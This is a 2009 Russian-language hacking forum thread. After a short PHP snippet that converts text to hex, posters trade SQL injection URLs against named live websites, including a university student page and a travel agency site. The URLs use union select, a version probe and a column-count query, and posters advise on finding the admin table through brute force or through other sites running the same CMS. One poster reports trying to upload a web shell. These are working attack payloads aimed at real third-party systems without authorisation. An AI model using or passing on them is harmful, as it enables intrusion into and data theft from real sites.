17.02.2009, 20:50
|
|
Постоянный
Регистрация: 16.04.2008
Сообщений: 889
С нами:
9510146
Репутация:
1550
|
|
Сообщение от f1ng3r
чем лучше переводить текс в хек ... дайте ссылочку ... и лутче онлайн
PHP код:
<?
$n="Тут текст, который надо захексить";
echo "0x".bin2hex($n);
?>
|
|
|
17.02.2009, 20:53
|
|
Познающий
Регистрация: 14.02.2009
Сообщений: 45
С нами:
9072487
Репутация:
74
|
|
f1ng3r, специально для тебя написал http://yandexclub.ru/hack/hex.php
|
|
|
|
17.02.2009, 20:59
|
|
Участник форума
Регистрация: 30.08.2008
Сообщений: 132
С нами:
9314306
Репутация:
325
|
|
f1ng3r
http://noxak.ru/tools/ - тут много во что перевести можно... вобщем отличная вещь!
|
|
|
|
18.02.2009, 07:14
|
|
Постоянный
Регистрация: 16.03.2007
Сообщений: 380
С нами:
10081287
Репутация:
568
|
|
http://studorgs.bowdoin.edu/meddies/news.php?nid=-10+unoin+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,1 5,16,17,18/*
что думаете?
|
|
|
|
18.02.2009, 09:47
|
|
Постоянный
Регистрация: 20.11.2008
Сообщений: 406
С нами:
9196401
Репутация:
930
|
|
Сообщение от sabe
что думаете?
http://studorgs.bowdoin.edu/meddies/news.php?nid=-10+unoin+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,1 5,16,17,18/*
долго ломал голову что там)))
после этого запроса все стало понятно 
Код:
http://studorgs.bowdoin.edu/meddies/news.php?nid=10+and+substring(version(),1,1)=3/*
3 ветка,поэтому вывода нет (union введён с четвётой версии mysql)
p.s там вроде 8 полей) а не 18
Код:
http://studorgs.bowdoin.edu/meddies/news.php?nid=-10+order+by+8/*
Последний раз редактировалось z00MAN; 18.02.2009 в 10:28..
|
|
|
|
18.02.2009, 15:11
|
|
Участник форума
Регистрация: 19.02.2008
Сообщений: 186
С нами:
9591697
Репутация:
96
|
|
Помогите найти табличку с админами...
http://www. travelwings .ru/article.php?id_article=-5+union+select+1,2,3,4,5,6,7,8,9,0,1/*
|
|
|
|
18.02.2009, 15:53
|
|
Постоянный
Регистрация: 29.09.2008
Сообщений: 553
С нами:
9270510
Репутация:
519
|
|
Думаю, что тебе поможет брутер+список названия таблиц...
|
|
|
|
18.02.2009, 15:59
|
|
Познавший АНТИЧАТ
Регистрация: 18.02.2008
Сообщений: 1,136
С нами:
9593606
Репутация:
4915
|
|
Сообщение от -m0rgan-
Думаю, что тебе поможет брутер+список названия таблиц...
Можно и так, но есть способ лучше
Заходим в админку:
http://www.travelwings.ru/admin/login.php
Видим вверху надпись:
Citrus CMS v2.0
Гуглим и находим офф сайт этой цмс:
http://citrus-soft.ru
Видим. что она платная, значит с кодом обламываемся , но в портфолио присутствуют ещё сайты на этом движке, и существует вероятность найти пятую ветку и посмотреть структуру базы. Удачи
|
|
|
|
18.02.2009, 17:13
|
|
Познавший АНТИЧАТ
Регистрация: 12.05.2007
Сообщений: 1,235
С нами:
9999746
Репутация:
1318
|
|
Сообщение от jokester
Можно и так, но есть способ лучше
Заходим в админку:
http://www.travelwings.ru/admin/login.php
Видим вверху надпись:
Citrus CMS v2.0
Гуглим и находим офф сайт этой цмс:
http://citrus-soft.ru
Видим. что она платная, значит с кодом обламываемся , но в портфолио присутствуют ещё сайты на этом движке, и существует вероятность найти пятую ветку и посмотреть структуру базы. Удачи Да CMS платная, но у них инъекция в этой CMS. И самое, что интересное - на их сайте MySQL крутится из под рута. Пытался залить шелл, но видно пропалили... Сейчас инъекция просто на пустую страницу вываливает. И все портфолио которые сделаны на базе этой CMS - дырявые.
|
|
|
|
18.02.2009, 17:27
|
|
Познавший АНТИЧАТ
Регистрация: 18.02.2008
Сообщений: 1,136
С нами:
9593606
Репутация:
4915
|
|
Сообщение от groundhog
Да CMS платная, но у них инъекция в этой CMS. И самое, что интересное - на их сайте MySQL крутится из под рута. Пытался залить шелл, но видно пропалили... Сейчас инъекция просто на пустую страницу вываливает. И все портфолио которые сделаны на базе этой CMS - дырявые.
Вообще-то я об этом и писал, в портфолио тоже есть и пятая ветка , и рут, но видимо админы не дремлют(я полагаю туда народ ломанулся толпой ), т.к. сейчас у меня тоже запрос не проходит
|
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
![Аватар для [JavaScript]](/avatars/avatar76873.jpg?1122130){kind=avatar}
Похожие темы
Комбинированный вид
